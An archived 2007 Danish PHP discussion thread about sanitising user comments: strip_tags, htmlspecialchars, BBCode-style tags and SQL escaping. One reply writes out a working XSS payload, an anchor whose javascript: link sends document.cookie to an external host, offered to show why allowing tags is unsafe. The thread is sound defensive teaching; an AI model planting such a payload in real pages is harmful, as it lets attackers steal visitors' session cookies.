/ Forside / Teknologi / Udvikling / PHP / Nyhedsindlæg
Login
Glemt dit kodeord?
Brugernavn

Kodeord


Reklame
Top 10 brugere
PHP
#NavnPoint
rfh 3959
natmaden 3372
poul_from 3310
funbreak 2700
stone47 2230
Jin2k 1960
Angband 1743
Bjerner 1249
refi 1185
10  Interkril.. 1146
strip_tags() eller ikke strip_tags()
Fra : Kim Ludvigsen


Dato : 22-09-07 14:36

Jeg har lavet en kommentarfunktion, hvor de besøgende kan skrive en
tekst. Teksten indsættes i en MySQL database, hvorfra den atter hentes
for at blive vist på siden.

Er der en reel fare for misbrug, så jeg bør jeg strippe tags?

--
Mvh. Kim Ludvigsen
Skrot mus og tastatur, i fremtiden kan du styre computeren med stemmen,
tanken - eller dit humør.
http://kimludvigsen.dk

 
 
Peter Brodersen (22-09-2007)
Kommentar
Fra : Peter Brodersen


Dato : 22-09-07 15:15

On Sat, 22 Sep 2007 15:36:05 +0200, Kim Ludvigsen
<usenet@kimludvigsen.dk> wrote:

>Jeg har lavet en kommentarfunktion, hvor de besøgende kan skrive en
>tekst. Teksten indsættes i en MySQL database, hvorfra den atter hentes
>for at blive vist på siden.
>
>Er der en reel fare for misbrug, så jeg bør jeg strippe tags?

Ja, der er fare for misbrug, hvis brugerne kan indsætte deres egne
tags, javascript, m.m., der fx kan sende brugernes
cookie-informationer (og evt. session-id) videre til en ekstern
server.

Der er nok ingen grund til ikke at bruge strip_tags().

Hvis folk reelt kommer med HTML-kode, fx i et debatforum om HTML og
deslige, så kan du kigge på funktionen htmlspecialchars() i stedet
for.

--
- Peter Brodersen
Kendt fra Internet

Kim Ludvigsen (22-09-2007)
Kommentar
Fra : Kim Ludvigsen


Dato : 22-09-07 15:44

Den 22-09-07 16.15 skrev Peter Brodersen følgende:
> On Sat, 22 Sep 2007 15:36:05 +0200, Kim Ludvigsen
> <usenet@kimludvigsen.dk> wrote:
>
>>Er der en reel fare for misbrug, så jeg bør jeg strippe tags?
>
> Der er nok ingen grund til ikke at bruge strip_tags().

Det kunne være rart med lidt formateringsmuligheder, men selvfølgelig
ikke, når det kan misbruges. Så jeg må hellere strippe tags'ene. tak!

--
Mvh. Kim Ludvigsen
Gem internettet på din computer med Net Snippets.
http://kimludvigsen.dk

Martin Højriis Krist~ (22-09-2007)
Kommentar
Fra : Martin Højriis Krist~


Dato : 22-09-07 16:27

"Kim Ludvigsen" <usenet@kimludvigsen.dk> skrev i en meddelelse
news:46f52a1c$0$69154$edfadb0f@dread12.news.tele.dk...
>> Der er nok ingen grund til ikke at bruge strip_tags().
> Det kunne være rart med lidt formateringsmuligheder

Du ved godt at strip_tags har en parameter der lovliggør enkelte tags, ikke?

Du kan fx tillade b, i, u, ul, ol, li osv.

--
Martin Højriis Kristensen
http://www.martinshjemmeside.dk/ - Lidt af hvert
http://www.mestomaarhus.dk/ - Mest om Århus



Kim Ludvigsen (22-09-2007)
Kommentar
Fra : Kim Ludvigsen


Dato : 22-09-07 16:34

Den 22-09-07 17.26 skrev Martin Højriis Kristensen følgende:
> "Kim Ludvigsen" <usenet@kimludvigsen.dk> skrev i en meddelelse

>>> Der er nok ingen grund til ikke at bruge strip_tags().
>> Det kunne være rart med lidt formateringsmuligheder
>
> Du ved godt at strip_tags har en parameter der lovliggør enkelte tags, ikke?
>
> Du kan fx tillade b, i, u, ul, ol, li osv.

Nej, det vidste jeg ikke, tak.

--
Mvh. Kim Ludvigsen
Gratis backup med Ceren Backup.
http://kimludvigsen.dk

Philip Nunnegaard (22-09-2007)
Kommentar
Fra : Philip Nunnegaard


Dato : 22-09-07 19:18

>> Du ved godt at strip_tags har en parameter der lovliggør enkelte tags,
>> ikke?
>> Du kan fx tillade b, i, u, ul, ol, li osv.
>
> Nej, det vidste jeg ikke, tak.

Syntaksen er:
$tekst = $_POST["tekst"];
$tekst = strip_tags($tekst, '<h1><h2><h3><p><a><img><b><i><u>');
De nævnte tags (<h1> osv.) er dem, der tillades. Skriver du <h1> finder den
selv ud af også at acceptere </h1>.
Jeg er så lidt i tvivl om <br>, men går ud fra, at det er nok til, at den
kan acceptere <br />.


Peter Brodersen (22-09-2007)
Kommentar
Fra : Peter Brodersen


Dato : 22-09-07 19:16

On Sat, 22 Sep 2007 17:26:35 +0200, "Martin Højriis Kristensen"
<usenet@makr.dk> wrote:

>Du kan fx tillade b, i, u, ul, ol, li osv.

Jeg synes personligt ikke, det er en god tilføjelse.

Problemet er, at man stadigvæk kan hælde masser af attributter herpå,
fx onmouseover. Denne kan man så få til at tilføje alle de elementer,
man vil have.

Tjek fx:
http://stock.ter.dk/strip_tags.php

Her bliver alt andet end <b>...</b> fjernet, men ved at jeg laver en
onmouseover-event, kan jeg tilføje alle de elementer, jeg selv har
lyst til. I det her tilfælde opretter jeg et img-element, og src kan
endda sættes til at pege over på en anden hjemmeside.

Jeg holder til at bruge "dumme" tags i stil med [b], [url=...], [img]
etc., og så noget kode til at konvertere hensigtsmæssigt.

--
- Peter Brodersen
Kendt fra Internet

Martin Højriis Krist~ (22-09-2007)
Kommentar
Fra : Martin Højriis Krist~


Dato : 22-09-07 20:51

"Peter Brodersen" <usenet2007@ter.dk> skrev i en meddelelse
news:46f55be3$0$90269$14726298@news.sunsite.dk...
>>Du kan fx tillade b, i, u, ul, ol, li osv.
> Problemet er, at man stadigvæk kan hælde masser af attributter herpå,
> fx onmouseover. Denne kan man så få til at tilføje alle de elementer,
> man vil have.

Hrmpf, jeg vidste ikke at man kunne tilføje onmouseover til den slags tags..
I så fald er det ret ubrugeligt..

> Jeg holder til at bruge "dumme" tags i stil med [b], [url=...], [img]
> etc., og så noget kode til at konvertere hensigtsmæssigt.

Jeg gør det samme på mit eget legeprojekt, men generelt synes jeg ikke om at
opfinde mine egne tags, og slet ikke når andre skal bruge det.

/kursivering/, _understregning_, *fedskrift*, er ret brugte, og jeg synes de
fungerer nogenlunde, men jeg synes det er et problem når det ikke er
intuitivt hvordan man undgår "omdannelsen".

Til tags med multiple attributter synes jeg ikke der er noget reelt
alternativ til den klassiske <a b=c>d</a>-notation.. Så kan man evt bruge
andre tag-navne end de officielle, eller blot konsekvent parse dem alle
sammen og kun tillade det man nu vil have..

Kender du forøvrigt et godt bibliotek til at parse en tekst for tags?

--
Martin Højriis Kristensen
http://www.martinshjemmeside.dk/ - Lidt af hvert
http://www.mestomaarhus.dk/ - Mest om Århus



Peter Brodersen (24-09-2007)
Kommentar
Fra : Peter Brodersen


Dato : 24-09-07 14:25

On Sat, 22 Sep 2007 21:50:51 +0200, "Martin Højriis Kristensen"
<usenet@makr.dk> wrote:

>> Problemet er, at man stadigvæk kan hælde masser af attributter herpå,
>> fx onmouseover. Denne kan man så få til at tilføje alle de elementer,
>> man vil have.
>
>Hrmpf, jeg vidste ikke at man kunne tilføje onmouseover til den slags tags..
>I så fald er det ret ubrugeligt..

Selv hvis vi kigger på attribut-niveau ville du kunne risikere reelle
problemer. Så smider vi bare indholdet i href i stedet for
onmouseover. Det kræver, at man klikker på links, men det burde jo
heller ikke være et problem. Men:

http://stock.ter.dk/cookielink.php

Følgende kan fx være nok til at stjæle de aktuelle cookies:

<a
href="javascript:document.location='cookiestjæler'>http://ip.ter.dk/?cookies'+escape(document.cookie)">cookiestjæler

>> Jeg holder til at bruge "dumme" tags i stil med [b], [url=...], [img]
>> etc., og så noget kode til at konvertere hensigtsmæssigt.
>Jeg gør det samme på mit eget legeprojekt, men generelt synes jeg ikke om at
>opfinde mine egne tags, og slet ikke når andre skal bruge det.

Jeg synes, det er fint. Det er naivt at fremstille det som om, at folk
har adgang til at skrive HTML, når det nu alligevel vil være en meget
begrænset delmængde, og at man måske alligevel skal lave passende
konverteringer.

Sat på spidsen skulle den almindelige bruger vide, om der var tale om
HTML eller XHTML for at lave et korrekt br- eller img-tag.

Derfor tror jeg, det vil skabe endnu mere forvirring end forståelse at
bruge noget, som umiskendeligt ligner HTML, men alligevel kan adskille
sig fra dette ifbm. en efterprocessering af indholdet.

>/kursivering/, _understregning_, *fedskrift*, er ret brugte, og jeg synes de
>fungerer nogenlunde, men jeg synes det er et problem når det ikke er
>intuitivt hvordan man undgår "omdannelsen".

Jeg vil ikke ud i at lære folk at skulle escape tegn og den slags. /_*
er måske fint nok på et forum for gamle Fidonet- og usenet-folk, men i
resten af verden er det nok kun *fedskrift*, der har vundet en eller
anden form for udbredelse, synes jeg. I nogle tilfælde bliver *...*
endda i højere grad brugt som /me på irc, fx:

*gaber lidt*

Jeg kan i øvrigt godt li' at bruge [tags] som brugerinput, idet det er
noget lettere at håndtere HTML'en i den. Man kan fx let processere
indholdet hen over flere trin, uden at eksisterende tags risikerer at
blive viklet ind i hinanden. Her kan det også være rart at starte med
fx htmlspecialchars, uden at det efterfølgende bliver noget rod at
holde styr på "rigtige og forkerte" tags.

>Til tags med multiple attributter synes jeg ikke der er noget reelt
>alternativ til den klassiske <a b=c>d</a>-notation.. Så kan man evt bruge
>andre tag-navne end de officielle, eller blot konsekvent parse dem alle
>sammen og kun tillade det man nu vil have..

Jeg tror bare, at man kommer til at opdrage folk i en forkert retning.
Jeg tror, det bliver noget rod, hvis man laver noget, der lugter så
meget af HTML, så dem, der rent faktisk kan HTML bliver overraskede
over, at tingene ikke lige virker.

>Kender du forøvrigt et godt bibliotek til at parse en tekst for tags?

Næææeh... måske man kan klare sig med SimpleXML i nogle tilfælde, hvis
man har noget, der lugter af XML?

--
- Peter Brodersen
Kendt fra Internet

Bo Meyer (26-09-2007)
Kommentar
Fra : Bo Meyer


Dato : 26-09-07 16:27

Peter Brodersen wrote:
> http://stock.ter.dk/cookielink.php

Jeg er lidt nysgerrig. Hvor finder du informationer, der kan danne
baggrund for det geografiske gæt? (i mit tilfælde var gættet rigtigt!).

Mvh./Bo

Peter Brodersen (26-09-2007)
Kommentar
Fra : Peter Brodersen


Dato : 26-09-07 16:51

On Wed, 26 Sep 2007 17:27:14 +0200, Bo Meyer <bo.meyer@gmail.com>
wrote:

>> http://stock.ter.dk/cookielink.php
>
>Jeg er lidt nysgerrig. Hvor finder du informationer, der kan danne
>baggrund for det geografiske gæt? (i mit tilfælde var gættet rigtigt!).

Uha, det er et gammelt hobby-projekt, som aldrig blev så struktureret
endda.

Systemet er baseret på udbydernes struktur i deres hostnavne for
forskellige kunder. Ud fra den ip-adresse, der fx er i dit indlægs
header, laves et reverse dns-opslag:
port1195.ds1-ynoe.adsl.cybercity.dk

Her skærer en række regulære udtryk bydelen ud af hostnavnet, i det
her tilfælde "ynoe".

Dertil er der så en fortegnelse, der nævner, at ynoe er lig med Ydre
Nørrebro i Cybercity-central-jargon.

De fleste af de traditionelle ADSL/dialup-udbydere benytter et stort
overlap af de samme forkortelser, men typisk er der et par lokale
tilpasninger. Cybercity brugte fx esp (Esplanaden) og World
Online/Tiscali brugte fx pbv (Peter Bangs Vej) som forkortelser for
bestemte centraler. I de her tilfælde var der tale om firmaernes egne
tilholdssteder.

www.findvej.dk bruger jeg i stedet informationer fra
http://www.hostip.info/ til at prøve at finde folks start-adresse. De
er baseret ud fra ip-ranges frem for hostnavne. Der kan være fordele
og ulemper ved begge metoder.

hostip.info er dog blot ikke specielt præcis for Danmark endnu. Jeg
vil tro, at nogle af de kommercielle systemer som fx MaxMind kan være
mere hensigtsmæssige i den retning.

Hvis jeg havde mere af den skønne fritid, ville jeg måske prøve at
lave et community-projekt i forhold til danske ip-ranges kombineret
med hostnavne, så opslaget ikke blot var baseret på én faktor.
RIPE-data kunne sikkert også hjælpe her.

--
- Peter Brodersen
Kendt fra Internet

Kim Ludvigsen (22-09-2007)
Kommentar
Fra : Kim Ludvigsen


Dato : 22-09-07 20:53

Den 22-09-07 20.15 skrev Peter Brodersen følgende:
> On Sat, 22 Sep 2007 17:26:35 +0200, "Martin Højriis Kristensen"
> <usenet@makr.dk> wrote:
>
>>Du kan fx tillade b, i, u, ul, ol, li osv.
>
> Jeg synes personligt ikke, det er en god tilføjelse.
> Tjek fx:
> http://stock.ter.dk/strip_tags.php

Jeg er overbevist.

> Jeg holder til at bruge "dumme" tags i stil med [b], [url=...], [img]
> etc., og så noget kode til at konvertere hensigtsmæssigt.

Det havde jeg først gjort, så lavede jeg undtagelser i stedet - nu går
jeg tilbage til de "dumme" tags.

--
Mvh. Kim Ludvigsen
Gratis kabaler og bridge.
http://kimludvigsen.dk

Philip Nunnegaard (22-09-2007)
Kommentar
Fra : Philip Nunnegaard


Dato : 22-09-07 21:10

> Problemet er, at man stadigvæk kan hælde masser af attributter herpå,
> fx onmouseover. Denne kan man så få til at tilføje alle de elementer,
> man vil have.

Det havde jeg ikke tænkt over.

> Jeg holder til at bruge "dumme" tags i stil med [b], [url=...], [img]
> etc., og så noget kode til at konvertere hensigtsmæssigt.

Min primære grund til at tillade <b> i stedet for det bb-code-agtige [b] var
ellers, at det er nemmer at skrive < og > end [ og ], hvor man skal have fat
i altGr-tasten på et dansk tastatur.
Helt galt går det de steder, hvor taggen skal skrives med stort - f.eks.
[B].
Så skal man altså taste AltGr+8 shift+b AltGr+9

Jeg får helt ondt i venstre håndled.


Martin (22-09-2007)
Kommentar
Fra : Martin


Dato : 22-09-07 17:16

Kim Ludvigsen wrote:
> Jeg har lavet en kommentarfunktion, hvor de besøgende kan skrive en
> tekst. Teksten indsættes i en MySQL database, hvorfra den atter hentes
> for at blive vist på siden.
>
> Er der en reel fare for misbrug, så jeg bør jeg strippe tags?

Brug endelig
mysql_real_escape_string() hvis du bruger over PHP 4.3 ellers så brug
mysql_escape_string()

Martin Højriis Krist~ (22-09-2007)
Kommentar
Fra : Martin Højriis Krist~


Dato : 22-09-07 17:41

"Martin" <news@natten-i.dk> skrev i en meddelelse
news:46f53ee0$0$90266$14726298@news.sunsite.dk...
>> Er der en reel fare for misbrug, så jeg bør jeg strippe tags?
> Brug endelig
> mysql_real_escape_string() hvis du bruger over PHP 4.3 ellers så brug
> mysql_escape_string()

Den sikrer kun at strengen ikke laver rod i databasen, ikke at der ikke sker
grimme ting når strengen vises hos en anden bruger.

--
Martin Højriis Kristensen
http://www.martinshjemmeside.dk/ - Lidt af hvert
http://www.mestomaarhus.dk/ - Mest om Århus



Martin (22-09-2007)
Kommentar
Fra : Martin


Dato : 22-09-07 17:50

Martin Højriis Kristensen wrote:
> "Martin" <news@natten-i.dk> skrev i en meddelelse
> news:46f53ee0$0$90266$14726298@news.sunsite.dk...
>>> Er der en reel fare for misbrug, så jeg bør jeg strippe tags?
>> Brug endelig
>> mysql_real_escape_string() hvis du bruger over PHP 4.3 ellers så brug
>> mysql_escape_string()
>
> Den sikrer kun at strengen ikke laver rod i databasen, ikke at der ikke sker
> grimme ting når strengen vises hos en anden bruger.

Jeps, man får ikke sql injections - som nok burde fremhæves endnu mere,
end hvad outputtet til klienten egentlig er

Kim Ludvigsen (22-09-2007)
Kommentar
Fra : Kim Ludvigsen


Dato : 22-09-07 20:55

Den 22-09-07 18.16 skrev Martin følgende:
> Kim Ludvigsen wrote:
>
>> Er der en reel fare for misbrug, så jeg bør jeg strippe tags?
>
> Brug endelig
> mysql_real_escape_string() hvis du bruger over PHP 4.3 ellers så brug
> mysql_escape_string()

Det er vist ikke så praktisk til tekstfeltet, hvor jeg fx oversætter \n
til <br>. Men jeg har benyttet det til andre felter.

--
Mvh. Kim Ludvigsen
Få et flot eller sjovt vandmærke på skærmen.
http://kimludvigsen.dk

Martin Højriis Krist~ (22-09-2007)
Kommentar
Fra : Martin Højriis Krist~


Dato : 22-09-07 22:01

"Kim Ludvigsen" <usenet@kimludvigsen.dk> skrev i en meddelelse
news:46f57309$0$69154$edfadb0f@dread12.news.tele.dk...
>> Brug endelig
>> mysql_real_escape_string() hvis du bruger over PHP 4.3 ellers så brug
>> mysql_escape_string()
> Det er vist ikke så praktisk til tekstfeltet, hvor jeg fx oversætter \n
> til <br>. Men jeg har benyttet det til andre felter.

De to ting udelukker ikke hinanden.

Du skal escape alle felter du sender til databasen, såfremt brugeren har
haft mulighed for at påvirke indholdet.

Oversættelsen af \n til <BR> er en ren gui-ting, og noget der afhænger af
den valgte måde at vise indholdet på.

--
Martin Højriis Kristensen
http://www.martinshjemmeside.dk/ - Lidt af hvert
http://www.mestomaarhus.dk/ - Mest om Århus



Søg
Reklame
Statistik
Spørgsmål : 177500
Tips : 31968
Nyheder : 719565
Indlæg : 6408509
Brugere : 218887

Månedens bedste
Årets bedste
Sidste års bedste